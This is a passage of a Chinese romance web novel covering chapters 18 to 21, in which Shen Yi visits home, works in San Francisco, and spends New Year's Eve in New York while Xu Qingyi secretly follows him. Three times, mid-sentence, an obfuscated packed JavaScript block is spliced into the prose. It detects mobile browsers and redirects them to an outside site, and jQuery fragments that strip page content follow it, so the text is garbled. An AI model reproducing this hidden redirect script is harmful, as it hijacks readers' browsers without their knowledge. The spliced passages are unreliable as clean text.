“已经很多了,清旖。这几年我在外边,碰到过几次无差别的杀人事件,也遇见过美国人举着枪针锋相对的场合,但当我每一次我活着回到宿舍,我就会想我来这里的目的到底是什么。” “我们的国家安定幸福,我为什么还要去那么远一个人独自闯荡呢?” 沈翌垂着眼,只有他自己知道他有点想哭。 “很多次我这样问自己,很多次自我怀疑,但最后还是继续留下了。当年我没有如所有人所想的那样找到一个高薪工作,我们都知道其中的原因其实根本不仅是我没有更高的学历,更多的是由于我的懦弱。但是当我想明白的时候,我已经走到人生的另一个重要选择面前了。” “当初是你让我来黎江的,是你给的我机会。这一次我想自己选,所以无论有多难,我都没有办法放弃。” “这几年支撑我的就是我的亲人、朋友还有你的祝愿。”他说:“我可以感受到,你们就在我的身后,你们就是我的后背。” 大年三十的年夜饭是师母一手操办的,她说沈翌和徐清旖一路奔波辛苦,和徐老师在厨房里忙前忙后做了一大桌子饭。 吃饭的时候,沈翌问起来林奶奶,沈爷爷支支吾吾了半天。 最后还是徐老师说:“小沈啊,你别怪你爷爷,当初他也是害怕自己拖累你,所以才骗你的。” “骗我的?” “当初如果不是我这样说,你怎么愿意离开南城去那边发展呢?”沈爷爷说:“我不想成为你的拖累啊,而且你看,我自己也能照顾好我自己。” 沈翌急切想回国的原因有很多,但是既然五年的既定事实不能改变,那么只能在这五年里尽力让自己更有能力。 于是他点点头说:“那你一定要照顾好自己,等我去那边有了新的固定电话再打给你们。” 18. 写封信 第二天,沈翌给自己家装了一台全新的座机,又买了一台新电视。 这两年他给沈爷爷寄回来的钱大部分都没有用,老人家自己舍不得花钱,只想全部给他存在那里以免未来他需要开销。 沈翌存了一大笔钱在存折上,放在一个铁盒子里装在爷爷的床边,在带他去医院做全身检查的时候才随口提起。 沈爷爷知道自己拧不过沈翌,只反复问他钱够不够用。 “够的,爷爷,我们在公司都是吃食堂。” 沈翌说了一遍,又怕他不放心,补充道:“工资开的不错,我一个人生活足够了,只要你身体好,我才会安心在那边。” 沈翌将家里的电话抄写了一份,又给爷爷讲了一遍使用方法,告诉他等他过去了会给徐老师打电话,到时候会让徐老师帮忙把号码送给他。 在南城的最后一个夜晚,沈翌待在家里收拾东西。 徐清旖来找他的时候,他刚翻出来一箱以前的课本和草稿纸。 徐清旖无所事事,忽然在他的草稿纸上发现一句话。 “这是什么啊?”徐清旖指着纸上写着的“天才=徐清旖白痴=沈翌”问。 沈翌接过那张纸,仔细想了想,然后说:“应该是那年我们偷偷去看电影,之后你写的。” “我写的?”徐清旖问:“什么电影?” “《天才与白痴》”沈翌说:“那时候你刚听说这个名字,还问我为什么要拍一个白痴的故事。” “看了之后,更吸引你的反而是那首歌。” “啊……那首歌啊。” 徐清旖想起来那部电影,当时她被电影里的故事逗得捧腹大笑,只觉得这种喜剧形式实在是荒诞,但确实已经想不起来那首歌。 “你给我唱一唱,我看我能不能想起来?” 沈翌将那张草稿纸放回去,在床头的小柜子里翻出来一本笔记,其中有一页就是他抄写的歌词。 他递给徐清旖,“我不会粤语,以前你会唱的。” “人生如梦……”徐清旖念出笔记本上的第一句话,然后小声地试探着问:“人gāi/cáng梦?” 这已经是他们很小的时候的事了,那时候她模仿许冠杰的发音还是十分的相像。 “算了算了,我已经不具备这个技能了,你快收拾行李吧。” 徐清旖把笔记本还给他,然后又收回来,“你把这个借给我,我学学。” “送给你了,这上面全是歌词。” “真的吗?还有什么?” 徐清旖捏着纸开始翻,上面实际上并没有记很多,她还翻到了张国荣的《风继续吹》,于是不由自主地想起来拉萨的旅行。 “旧金山……离五大湖很远对吧?”徐清旖一边翻笔记本一边说。 “嗯,一个在西南,一个在东北。”沈翌将行李箱的拉链拉上,走时候的行李比来的时候少很多。 “我好想去看一看五大湖。” “前年我拿到了驾照,什么时候你过来,我们可以自驾去五大湖。”沈翌喝了一口水,“五大湖的另一岸就是加拿大。” “你没去过吗?” “没有,太远了。”沈翌说:“也没有时间。” 沈翌回来南城三天,陪沈爷爷和徐老师、师母聊天看电视,和徐清旖去了青龙寺,另外还拜访了穆老师,时间一晃而过。 他即将一个人离开南城去黎江市,然后搭乘晚间的飞机回美国。 - 许安怡是在穆老师那里听说沈翌回来的。 几年不见,她已经在本校顺利毕业,并且还成为了一名数学系的助教。 她赶到火车站时,沈翌即将进站。 沈爷爷正在嘱咐他注意安全,徐清旖一家站在一边等待他们道别。 “学长。” 许安怡取下了眼镜,看得出来她画了一个淡妆,原本齐肩的短发大概是长出来又被剪短,如今也只在锁骨下方一点的位置。 “许安怡。”沈翌还记得她的名字,许安怡有一大堆话想说,但最后她只说:“一路平安。” 徐清旖不认识她,以为她是沈翌的同学,便没有开口。 “你来接人吗?”沈翌问她。 “啊,对。”许安怡不好意思说自己是在昨天听说了他今天上午的火车,才匆匆赶来的。 “好,我要进站了,也祝你一切顺利。” “学长。”许安怡小声地叫住他,她看了看那边沈翌的亲人和朋友正在说话,鼓起勇气问:“如果你下次回来,可以联系我吗?” 沈翌不太明白她的意思,微微皱着眉表示疑惑。 许安怡又往前走了一小步,她说:“因为……因为其实我早之前就知道你了,我……” “抱歉。” 沈翌打断她,这是不礼貌的事,他几乎从来不做。 他的感情迟钝,对于别人的喜欢不是很看得明白,如果不是许安怡此时表现的太过明显,他或许会一直把她当作同样喜欢数学的研究者。 而不是他的倾慕者。 “是我唐突了。”许安怡的情绪很低落,沈翌想了想,“我们认识的时间并不是很长,或许你可以尝试去接触一些新的人。” “如果只是做朋友也不行吗?” “这也许会影响你的判断,未来有一天,你不喜欢我了,或许可以做朋友,你很优秀。” 沈翌说:“因为我有喜欢的人,所以不希望耽误你的时间,抱歉。” 南城的一月温度仍旧很低,沈翌望向一旁的徐清旖,在这一天第一次向别人大胆地承认了自己的喜欢。 即使自己即将离开那个人,即使那个人此时就站在距离自己几步远的距离。 - 回到旧金山以后,沈翌在基地的宿舍借住,开始着手准备进入新公司的事。 和他一样留在旧金山的是孟晨和白思园,白思园是被分过来的,孟晨却是和沈翌一样自己申请留在旧金山。 他的考量比沈翌多得多。 “华盛顿像我这个水平的人已经趋近于饱和了,何况我原本学的是建筑,他们那些外国人肯定会看不起我的。” 孟晨说:“那边工资是比这边高,但压力大,我在这边待几年,以后回国一提起我在这家公司工作过,那些外企岂不是挤破脑袋都要录用我?” “孟哥你真清醒。”白思园点赞。 “决定回国了?”沈翌关注的点不一样,现在他们三个人一起住在公司的这个公寓,以后就是并肩的同事,他更关心孟晨真正的想法。 “回啊,放不下。” 旧金山的分部还在刚刚建立的阶段,基础设施不行。 公司选了三个负责人,其中两个是沈翌和孟晨,还有一个是从华盛顿总公司调过来的上次那名队伍里的南非朋友,名字叫诺米。 沈翌和孟晨住的都是单人间,白思园有时候来找他们,三个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389893|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会聚在一起喝酒吃饭。 MCM的结果出来的那一天,沈翌正在和诺米讨论公司新进研发器械的事。 Joseph的电话打到了原先的培训基地,史密斯教授之后又给了他新的联系方式,然后电话才打到沈翌的办公室。 Joseph说他们拿了O奖——OutstandingWinner(特等奖),全世界只有两支队伍获奖,另一支队伍来自于麻省理工学院。 这场国际范围内最具影响力的数学赛事,沈翌常常觉得自己运气好。 因为与他一起组成队伍的Joseph是斯坦福的博士研究生,David和他是好友,他同样在世界名校纽约大学读本科。 他们俩很不同意沈翌的说法,他们说最开始他们也认为自己两个人足够了,但看见他征集队友的消息后,还是觉得应该与沈翌组队。 “中国才是数学的故乡。”David说:“我们不太清楚为什么你没有来我们国家留学,但我相信美国的大学一定很欢迎你。” 沈翌点点头,和他们商量好出发时间,回公司开始准备去波士顿的衣物。 刘语潇在沈翌和孟晨进入新公司以后,趁着有时间也来过这里几次。 孟晨和白思园喜欢起哄,最开始诺米他们几个还看不懂他们忽高忽低的声线代表着什么。 直到有一次刘语潇给他们买咖啡,只有沈翌是独一份的少糖不加冰,他才反应过来这姑娘喜欢谁。 沈翌冷着脸打断过几次他们的起哄,之后同事们便开始用眼神交流,这个冲那个挑挑眉,那个又恍然大悟地点点头。 “这是爸爸给你买的。”刘语潇递给沈翌一个小盒子,那是一支钢笔,据说是手工制作。 沈翌碰着她的手腕处往回推了推,“语潇,我不需要。替我谢谢你父亲。” “你收下吧。”刘语潇把盒子放在他的办公桌上,“他特意找人送来的,好不好?” “我不用这个。”沈翌语气坚决,“等什么时候回国了,你再带回去吧。” 刘语潇有些生气,她猜测沈翌是在为他的同事们的玩笑不高兴。 于是问他:“是不是你的朋友们说的话让你不开心了?” 沈翌叹了口气,无可奈何地说:“他们开玩笑,你受的伤害应该比我更多,但是他们习惯了这样,我说不了什么。是我该不好意思,而不是你。” “没有啊,我觉得没什么,我不会不自在。” 沈翌把钢笔还给她,一边说道:“我过几天要去一趟波士顿,你有什么事就来找孟晨。” 刘语潇没接,沈翌也不收回手,继续说:“以后让刘局别再给我带什么东西了,我什么都不缺的。” “你去波士顿干什么?” 刘语潇看着沈翌,牙齿紧紧咬着口腔内壁,“你别说是为了躲我。” 沈翌失笑,从沙发上取过自己的外套穿好,“去开个会,走吧,我送你回去。” 最后钢笔还是还给了刘语潇,沈翌不接,看起来什么也没说,实际上态度明显得很。 刘语潇有些不高兴,沈翌安慰她,“有没有什么想要的?我从波士顿给你买回来。” “给我写一封信吧。” 沈翌抿了抿唇,“我们没什么需要在信里说的话。” “给我写一封吧,从波士顿寄到旧金山。” 刘语潇往后退了几步,转身离开之前说:“你要在信到之前回来。” 19. 颁奖礼 这一届竞赛的学术报告会议在全美最高学府哈佛大学内举行,Joseph作为负责人上台作报告和总结。 会议结束的时候,沈翌在现场遇见了JimLarkin. 他并不记得沈翌是谁,于是沈翌说:“两年前,我赴美培训,是您给的推荐信。” 教授过了会儿才反应过来他就是当年那位女孩子所说的“很重要的朋友”。 当初沈翌刚来美国时,曾经特意去过斯坦福几次想要见一面教授,但是助手每次都推脱说没有时间。 JimLarkin想起来这些事,摸了一把嘴边的胡须,问沈翌现在是否是在哈佛留学。 沈翌摇头,他说自己受邀来参加这次会议。 教授十分震惊,问他参与的是哪一份论文的撰写。 听了回答以后大笑着拍沈翌的肩膀,“幸好当初我没有拒绝那位女孩,否则数学界就会失去一位伟大的科学家。” 他问沈翌:“你们是否已经成为了一对幸福的恋人?” “会的。”沈翌这样说,然后他看见JimLarkin朝他骄傲地竖起大拇指。 他给沈翌递出名片,表示欢迎他报考斯坦福的研究生,如果他对自己的研究方向感兴趣,也可以选择自己做他的导师。 沈翌笑着收下名片,又问他是否有时间和自己共进晚餐。 “我的荣幸。”JimLarkin说。 Joseph晚上有一个报告要做,David也要赶回纽约。 沈翌对波士顿不熟悉,还是教授推荐了一家很隐蔽的小餐馆。 他眨着蓝色的眼睛和沈翌说:“我和我太太年轻读书的时候,就喜欢来这里吃饭。” 沈翌拦了的士,教授神秘道:“你先去,我自己有车,等会儿过来。” JimLarkin所说的车实际上就是一辆有点旧的老牌自行车。 沈翌站在餐馆门口看着他骑着车过来,要停下前还伸手示意了一下后方的汽车。 “我来晚了。”教授指了指自行车,“这个最方便。” 等到进到餐馆里,一位东方面孔的大叔拿着菜单过来坐在他们旁边,沈翌才明白过来对方的用意。 “在异国求学很辛苦吧。” 教授一边脱外套,一边盯着他,“吃点你们国家的菜,味道很正宗。” 老板和教授打过招呼,视线移向沈翌,“是来这边学习的吗?” 沈翌在旧金山基本上没什么机会吃中餐,公司的饭菜很可口,但掌厨的都是美国本地人。 他摇摇头,“在旧金山工作,来这边出差。” “他很厉害。”教授和老板说一句,又喝了一口提前给他们泡好的茶,和沈翌介绍道:“这位是罗老板,我在哈佛的学生。” 两人问过好,沈翌问他:“您也是中国人吗?” “是啊。”老板说:“本来在哈佛读大学,读一半不想学了,自己开了个中国小餐馆。” 他们说的是中文,教授有些听不懂,扯了张纸巾吐出两片茶叶,咂了咂嘴,“没上一次的好喝。” “这是绿茶,上一次喝的是红茶。” 老板说完又问沈翌:“你是哪儿人?给你们做点你的家乡菜。” 也不确定老板是不是会做西南菜系,等到人走了,教授才小声和他说话。 “他和他妻子很恩爱,已经回国了,每年这几个月都会过来待一段日子。我就想着你赶巧了,一起来尝尝。” “你什么时候回旧金山?” “明天。” “我过几天也要回去。”教授说:“你刚刚说你在旧金山工作?” 沈翌猜想他是要问学习的事,于是直接道:“一边工作,一边准备找个机会深造。” “看好学校了吗?”教授带着很明显的暗示道:“我在斯坦福。” 沈翌笑了笑,复又冷静下来,“是斯坦福,不过……不是数学专业。” “为什么?”JimLarkin想起来当初那个女孩子说沈翌多喜欢数学,“我记得你朋友说你很热爱数学。” 无力感涌上来,沈翌还是没有欺骗他说:“现在的想法是电子工程专业,我的工作相关。” 他的手指轻轻地摩挲着,有点紧张对面人的看法。 谁知道本以为的挨批并没有到来,教授沉吟一声,“工作啊,那是挺重要的。数学这东西,抓不住。” 教授两只手交握着放在桌子上,看着他笑着说:“你不会觉得我会怪你吧?老实说如果这不是我的工作,当年我要不要学习这个也会考虑很久。没有人能够对你评头论足,更何况如果你不喜欢的话,也就不会参与这届MCM了,不是吗?” “我最讨厌听他们说的就是什么数学很美这些屁话,在我看来,这无异于逼着人穿鞋。” 沈翌的眼睛很缓慢地眨了眨,没有听明白这个比喻。 教授还没来得及解释,罗老板端着另一壶茶过来了,“来,你要的红茶。” 得到了想要的中国茶,教授更高兴了一些,干脆兴致极好地指着老板,“和逼着他读书一个道理。” “什么?”罗老板问。 “当年最头疼的学生,放着好好的学不上要出来创业。”J imLarkin笑着说:“没办法啊,人可以读书不代表必须读书,我可以穿鞋也可以不穿鞋,就像你可以学数学也可以不学数学。” “人嘛,都是为了混口饭吃。”教授说完看了老板一眼,“对了,我的饭呢?” - 沈翌最终还是按照原本的计划选择了斯坦福的电子工程专业。 后来他和徐清旖聊起来JimLarkin,徐清旖又想起来那年上海台风,她抱着一个巨大的包在屋檐下躲雨,自己都觉得滑稽得过分。 分公司的一切都进行得有条不紊。 孟晨是一名合格的领导者,沈翌是实干主义,诺米性格幽默,最擅长与同事联系工作,他们的关系变得非常不错。 圣诞节刘语潇来他的公司找沈翌,她说她们学校圣诞节有一场舞会,想要邀请沈翌和她一起参加。 沈翌想要拒绝,孟晨和诺米有意撮合他们俩。 刘语潇半真半假地说:“如果你不去的话,我只能去租一个不认识的人做舞伴了,毕竟我们专业没有我认识的男孩子”。 趁着沈翌正在为她的安全做考量的时候,孟晨和诺米一起将沈翌推上了出租车。 刘语潇从小家境富足,即使学习成绩一向不好,但是由于经常出国去玩的原因,她的英语其实说得很不错。 沈翌在洗手间换好了刘语潇为他准备的西装,然后将自己本身的衣物折好放在储物柜里。 刚好她也换好礼服,是一条玫瑰金偏白的渐变色的裙子,长度在小腿处。 沈翌原本不怎么跳舞,但是美国人喜欢开舞会,这是他们的一种社交方式。 所以后来孟晨教会了他,他说这是“最基本的礼仪”。 华尔兹是一种非常优雅的舞蹈,沈翌学东西很快,但现在他有点忘记了原地踌躇步的步法。 问过刘语潇之后,他在心里记了几遍。 “有点为难我。”他实话实说。 “大不了我们坐在那边吃蛋糕就好了。” 刘语潇的手轻轻挂在沈翌的臂弯处,指着刚进门不远处的一个餐桌,“那会儿我就发现了,那块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389894|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧克力的蛋糕看起来好有食欲。” 接送过几次之后,刘语潇的很多同学都知道沈翌。 沈翌的长相和他们平时见到的西方男性完全不一样。 他的鼻梁高挺,脸部线条流利,但眉眼更柔和一些,像是中国古时候风度翩翩的名门贵胄。 有一个爱好历史的美国女孩曾经问过刘语潇,她说中国古代有一位出了名英俊的将军,叫作周瑜,沈翌是否是周将军的后代。 刘语潇后来还将这件事讲给沈翌听,沈翌忍俊不禁,说她对中国历史知之甚少。 维也纳历史悠久,是浪漫的代名词,更是华尔兹的的发源地。 这个学校有一个以“维也纳”命名的音乐厅,曾经有一次孟晨不知道从哪里弄来了三张票,他们三个人一起在这里听过一场音乐会。 夜幕下小雨已经停了,这场舞会就举行在维也纳音乐厅旁的小花园里。 有一位穿着中世纪宫廷长裙的女性在外面惊呼“好美”。 “我们去看看。”刘语潇拉着沈翌跟着人群往外走,看见外面的夜空在雨后云散时呈现出一种很浓厚的淡粉色。 有人提议下一支舞就在室外,大家应和着鼓掌。 刘语潇拖着沈翌走到一盏路灯下,她朝他伸出右手,笑得两眼弯弯,“沈翌,我可以邀请你跳一支舞吗?” 沈翌低下头,听着不远处借了便携式音箱的人声音极大地询问着“Areyouready?” 他点了点头。 最经典的音乐与舞步,歌曲中途时,沈翌领着她做了一个漂亮的左旋转。 “你喜欢维也纳吗?”沈翌听歌听得很仔细,这是他做事的时候的习惯,猛然听见刘语潇搭话还有些没反应过来。 奥地利是世界音乐之都,没有一个喜欢艺术的人不会对那里充满向往。 沈翌在很早的时候会画简单的素描,那时欧洲是最令他心驰神往的地方。 现在他画工图,偶尔也会像小时候那样在草稿纸上随意画一些图像。 “喜欢。”于是他说。 维也纳国家歌剧院曾在二战的时候毁于炮火,1955年的时候按照原来的样式进行了重建,刘语潇的愿望就是去那里听一场歌剧。 一曲歌毕,沈翌向后退了一步,然后向刘语潇微微鞠躬表示礼貌。 这已经是沈翌不知道多少次送刘语潇回宿舍,明年五月她就即将毕业回国。 在宿舍门口,她说:“我还有最后一个问题想要问你。” 沈翌过来时穿的是一件黑色的夹克,他将装着两套礼服的袋子提在手上,安静地等待刘语潇接下来的话。 “你愿意和我一起去维也纳吗?” 沈翌不答反问:“你想去维也纳?” “新年会有几天假,我想去旅行。”刘语潇说完,又害怕他拒绝,补充着说:“因为我只有一个人,所以有点担心。” 沈翌摇摇头,“抱歉,过几天我会出差,你可以问问你的朋友们,记得多找几个人同行。” “你要去哪里出差?”刘语潇问他。 “纽约。”他又想起来关于新机芯那个麻烦的问题,忍不住皱了皱眉。 “我的朋友们都会回家,我可不可以,和你一起去纽约?” “我是去工作的,孟晨也会去,会很无聊。” “我可以自己玩,等到你们有时间了再来找我。或者我去找你们?” 刘语潇穿着一件很宽大的白色羽绒服,她的手藏在长长的袖子里紧紧握住。 沈翌没有办法再拒绝,只好低下头答应她。 “但是我们会很忙,到时候大部分时间你只能自己玩。”沈翌又补充着说。 20. 贺新年 新年好呀 新年好呀 孟晨得知刘语潇会和他们一起去纽约的时候,笑着和诺米开玩笑说:“这个人即将脱离该死的单身生活咯!” 沈翌叹口气和他们重复解释:“我和她不是那种关系。” “可以发展成那种关系嘛!” 孟晨从沈翌办公室的书架上取下一本字典,然后说:“爱情嘛,都是从友情发展过来的。” 诺米的皮肤很黑,听见这句话也凑过去看字典,他问:“这是你们中国的字典?” “嗯。”沈翌点点头,他正盯着办公桌上的电话,他很想念徐清旖。 上一次和徐清旖通话时,她说李安今年和他们公司又续了合作,大概率又会花费很长一段时间。 “诺米,你要不要和我们一起去,这一次应该刚好可以赶上时代广场跨年。”孟晨问。 “不了吧,你们去。” 诺米正在研究那本字典,头也没抬地回答说:“我当初在华盛顿的时候,和朋友去过纽约跨年,确实很热闹,祝你们玩得愉快。” 孟晨越听他说热闹,心里越痒。 于是他问沈翌:“跨年的时候事情应该差不多结束了吧,到时候一起去跨年啊?叫上你那个小女朋友。” 沈翌皱着眉纠正他:“不是女朋友,再乱讲话我就不去了。” 这一次出差按理来说孟晨一个人去就可以了,不过是他担心事情太多自己一个人忙不过来,于是才求着沈翌一起去。 “好好好,不乱讲。”孟晨举双手投降,“去不去嘛,我还没见过跨年呢!” 沈翌不说话,孟晨又问了一次。 “如果有时间的话,我就可以。” 孟晨和诺米走后,沈翌给徐清旖打了一个电话。 其实他自己也没什么一定要问的,两人之间的共同话题越来越少。 除了询问长辈的身体状况、最近工作怎么样之外,几乎就没什么多余的话题了。 不出他所料,徐清旖这两天的确忙得晕头转向,李安这一次回到中国从没有和她提过上一次告白的事情,于是她本身还存在的那么一点不自在也烟消云散。 徐清旖这几天压着自己的工作量,她已经有两个月没有休过假,想把最近的的工作赶在一起结束,那样就可以连着元旦请几天假期去美国。 她想起来沈翌和自己说过他刚考了驾照,如果一起去美国,或许真的可以自驾去五大湖。 另一个负责美国公司的项目的同事和她抱怨,说是美国人正在过圣诞节,这几天坚决不上班,所以她想或许沈翌也可以放假。 就和年初他回来和她说的那样,两个人从旧金山出发,沿途看过从西南到东北的全部风景,宽阔而空旷的公路、静谧壮阔的雪山。 沈翌给她打电话的时候,她刚吃完午饭。 “你要去纽约?”徐清旖问。 “嗯,去那边出差,孟晨说想去那里跨年。” “纽约,那你们去几天?” “不确定,工作两三天就能做完,孟晨想要跨年的话,就得待到明年了。” 沈翌左手握着电话,靠在软椅上望着窗外,“你们公司元旦节休假吗?” “纽约啊……什么?放假吗?不放假。”徐清旖说完又怕沈翌不相信,又补了一句,“工作太多了,说起来我还没去过国外跨年呢,一定很热闹吧。” 沈翌对她的话向来不疑有他,闻言只是笑了笑,“我也没去跨过年。” “你在国外这么多年没和朋友一起去跨过年吗?”徐清旖惊讶地问。 “没什么去的必要。” 听完他的话,徐清旖心里泛起一阵心疼。 沈翌独自在外近三年,究竟要怎样才能够忍受这样的孤独呢? “应该是时代广场吧,据说那里每年都会有上万人一起庆祝新年。” 沈翌转了个身,旧金山已经是深夜,他们这边远离市区,透过窗户仍旧可以看见很亮很亮的繁星。 “我本来是不想去的,到时候估计也就找个人少的地方待着吧,人太多我不习惯。” “那到时候……”徐清旖仔细想了想,然后说:“到时候你可以带着相机吗?据说时代广场入口有一座科汉的雕像,当年我选修西方音乐剧,最喜欢的就是他。你能给我拍一张照片吗?” 她在心里打着小主意,只要和沈翌确定一个必须去的地点,到时候她只要在那里等着他,就一定能够遇见。 她听见沈翌回答她:“当然可以。” 徐清旖在纽约时间1994年12月30日下午乘坐飞机前往洛杉矶,停留了几个小时以后才转机去了纽约。 那时候纽约的街道上处处充满着新年的味道,前几天过圣诞节时的装饰还没来得及换下,四处都是五彩的丝带和穿着漂亮衣服的美国人。 距离跨年还有五六个小时,时代广场上的人已经有很多了。 她带的东西仅仅只装了一个登机箱,因为进场还要通过安检,所以她将行李寄存在了一个超市的临时储物柜里。 有小丑装扮的人在她面前用气球折成一只五彩斑斓的小狗,他将小狗递给她,十分兴奋的对她说:“WeetoNewYork!”。 这里的天气很冷,徐清旖笑着向那位小丑装扮的人道谢以后,又去旁边的小摊上买了一顶很多人都在戴的紫色高帽。 她猜想这应该是今年时代广场跨年的主题。 同事说这里零点时会有一颗巨大的水晶球释放,到时候承载着无数人新年愿望的各色彩纸会从天空中缓缓飘下,她仅仅是想象到那个场景就觉得实在浪漫。 如果能够和沈翌一起跨过新年,就好像和他一起走过了很久。 沈翌、孟晨和刘语潇很早之前就到达了纽约。 他们原本的目的地是在纽约城边的一个小镇,在那里耽搁了三天之后,12月30日的下午才终于赶到了城中心。 刘语潇趁他们不注意,在广场旁边就订好了酒店。 沈翌知道之后坚持要把钱还给她,但是她说:“如果你把钱还给我,就是不把我当朋友。” 孟晨也在旁边打圆场,“下一次你再请她住不就行了嘛。” 休息了一天之后,他们在旧年最后一天的下午四点到达了时代广场。 沈翌算了算纽约和北京的时差,想着中国应该已经跨完年正式进入了1995年,于是想要给徐清旖打一个电话,但又害怕她已经睡着。 他心里记挂着她想要的科汉像的照片,却磨不过孟晨和刘语潇想要品尝各种美食。 等到人慢慢多起来,刘语潇扯着他的衣服说想要距离水晶球更近一点,那里更热闹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389895|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你去吧,我不喜欢人太多。”沈翌叫了声孟晨,“你们俩一起去,注意安全,我去酒店等你们。” “那你现在去哪里?”刘语潇问他。 这里的人太多了,身后不断涌动的人群将她往前挤了挤。 “我去那边。”沈翌往一个方向指了指,他说话的声音有点大,因为这里实在是太吵了,“那边人少。” 沈翌带来的相机今天拍了太多照片,现在只剩下一格电,他必须要在关机前拍下科汉像。 “我也去。”刘语潇跟着他,然后对孟晨说:“你知道怎么回酒店吗?” 孟晨闻言无所谓地笑着点点头,一边说一边把他们往前推,“走走走,你俩快走。” “你不用跟着我,你不是想看水晶球吗?” “不看了!”刘语潇看了一眼巨大的广告屏上的时钟,“快走吧,只有半个多小时了。” 沈翌和刘语潇往科汉像的位置走了几步,拥挤的人群使他们几乎无法移动。 “你真不用陪我过来的。”沈翌无奈地说。 “那你能陪我在这里倒数吗?”刘语潇仰着脸问他。 “我要去那边拍个照。”他指了指那个方向,明明没有人问他,还是自顾自地回答了一句,“很重要。” 人群开始朝中间走,两人逆着向外,最后总算是到了人稍少一些的街道。满街的欢声笑语,只有他们这里气压极低。 “沈翌。”刘语潇在快要到科汉像时,忍不住拉了拉他,“你有一个喜欢了很久的女孩子是吗?” 沈翌抿了抿嘴唇,往前走了几步,猜测是万师傅告诉了语潇这些事,从喉咙里很低地“嗯”了一声。 刘语潇听不清,看见他把相机举起来开始拍照,不死心地又问了一遍,“一定要是她吗?” 刘局长刚刚提出来想把女儿送来美国的时候,沈翌没想到这是刘语潇自己要求的。 她来过几次公司,孟晨他们和她的关系都不错,后来玩笑逐渐变了味,沈翌也品出了些不寻常来。 他的理智告诉他,这个他从来只当作朋友的女孩子,应当是喜欢他的。 距离纽约跨年只剩下最后几分钟,徐清旖终于在人潮中看见了沈翌。 她兴奋地举起手想要叫他,然后她看见了沈翌身后,与她只有过一面之缘的刘语潇。 印象中那个有着圆圆的大眼睛,披着长发的年轻女孩,如今已经将笔直的头发烫得微卷扎在脑后,她穿着红色的短棉袄,黑色的长靴长至膝盖,看起来还是那样青春洋溢,却已经有了年轻女人的韵味。 沈翌正拿着相机拍她提到过的那座科汉像,大概是因为路过的人太多遮挡光线,他拍了许久都不太满意。 刘语潇站在他身后,探着脑袋看远处跨年的人群和那块巨大的时钟。 远处忽然开始齐声倒数,徐清旖知道这即将是新年了。 沈翌在大家都开始倒计时的第八秒似乎总算拍出了喜欢的照片,带着笑将相机关机。 随着倒计时的结束,广场中央传来一阵欢呼声,大家都在拥抱身边的朋友、爱人,一声又一声地说:“HappyNewYear!” 徐清旖也终于鼓足勇气准备向前走。 可是下一秒,她看见那个扎着马尾的女孩子,踮着脚,轻轻吻上了她心爱的男孩。 21. 在冬天 讲地理的老师说纽约是温带大陆性气候,说这里气候宜人,他怎么骗人呢? 这里明明这么冷。 冻得她快要死掉了。 远处水晶球倾泻出来的彩色的愿望纸随着风缓缓地飘了过来,周围响起欢呼声,他们伸手去接那些漂亮的纸片。 虽然时值十二月,但也许是这里人流量太大,她依旧能感觉到一股又一股的热浪。 欢呼声、音乐声不绝于耳,却通通在此刻化为一阵模糊的耳鸣传来。 一片金黄色的亮片纸拍打在她的胳膊上,徐清旖伸手摘下,忽然想起来那一年在拉萨,那些飞扬的五色风马纸也是这样动人心魄。 她皱了皱眉,强行忍住内心的不适,转身离开了人潮拥挤的时代广场。 然而在她看不见的地方,刘语潇踮着脚想要吻沈翌,这也是她二十一年来最拿不准的一件事。 沈翌一开始没有料想到她的动作,在最后距离只有一点的时候回过神,轻轻侧开脸避开了这个吻。 如果说从前只是猜测,那么到如今沈翌完全可以确定了。 刘语潇似乎没什么意外,笑了笑说:“不好意思啊。” 人的一生碰见真正喜欢的人的几率有多少,能够和那个人一起度过下半生的几率又有多少? 沈翌紧紧拧着眉,这么多年他第一次崩坏了脸上的表情,张了张嘴又不知道到底该说什么。 “别这样嘛。” 刘语潇笑得很难看,不敢看他。 沈翌没有说话,表情严肃。 良久,“没有下一次了。” 那么好的脾气,那么好的关系,全被她毁了。 - 徐清旖连夜从纽约逃离,谢天谢地跨年的喜悦让寄存行李的超市延长了营业时间。 在机场时她买不到票,于是转移目的地选择了香港。 她在香港订了一间酒店,此时她已经近乎两天不眠不休。 酒店订在维港附近,地理位置优越,价格高昂。 徐清旖根本没有心情注意这些。 报复性躲在这里没日没夜地睡了整整一整天,然后才拖着一个几乎没有打开过的行李箱,以及一具极其萎靡和疲惫的身体赶回了黎江。 沈翌已经好几天联系不上徐清旖了。 